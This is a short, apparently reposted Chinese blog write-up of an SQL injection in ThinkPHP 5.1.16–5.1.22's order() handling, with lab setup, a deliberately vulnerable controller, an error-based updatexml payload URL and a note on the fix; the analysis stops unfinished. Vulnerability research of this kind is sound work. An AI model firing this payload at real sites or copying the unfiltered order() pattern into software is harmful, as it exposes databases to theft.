首页 > Web开发 > 详细

ThinkPHP5.1.x-orderby方法注入

时间:2020-04-21 00:21:53      阅读:150      评论:0      收藏:0      [点我收藏+]

漏洞概述

本次漏洞存在于?Builder?类的?parseOrder?方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进?SQL?语句,最终导致?SQL注入漏洞?的产生。漏洞影响版本:?5.1.16<=ThinkPHP5<=5.1.22?。

环境

composer create-project topthink/think=5.0.10 tp5010
 composer.json文件:
 "require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.22"
}
    
    更新:执行composer update

接下来设置漏洞点和配置数据库

将?application/index/controller/Index.php?文件代码设置如下:



<?php
namespace?app\index\controller;
class?Index
{
????public?function?index()
????{
????????$orderby?=?request()->get(‘orderby‘);
????????$result?=?db(‘users‘)->where([‘username‘?=>?‘mochazz‘])->order($orderby)->find();
????????var_dump($result);
????}
}




创建数据库信息如下:

create database tpdemo;
use tpdemo;
create table users(
	id int primary key auto_increment,
	username varchar(50) not null
);
insert into users(id,username) values(1,‘wtz‘);

在?config/database.php?文件中配置数据库相关信息

开启?config/app.php?中的?app_debug?和?app_trace

漏洞分析

payload:

http://127.0.0.1:88/tp51/public/index.php/index/index/?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

技术分享图片

照例,先去github上看看版本更新
技术分享图片
可以看到,
他添加了一个?if?语句判断,来过滤?)、#?两个符号。

我们开始debug来分析漏洞
目前我们审计前需要知道的知识:

1:我们get方式提交的数据都会通过input?方法获取数据,并通过?filterValue?方法进行简单过滤,但是根本没有对数组的键进行过滤处理。
技术分享图片

2:用户输入的数据会原样进入框架的?SQL?查询方法中:(这个点得记住,框架的sql查询方法先进入?Query?类)

简单顺了一下思路,明天再写吧233,审计其实很简单,就是写出来要费不少时间。。

ThinkPHP5.1.x-orderby方法注入

原文:https://www.cnblogs.com/wangtanzhi/p/12741498.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!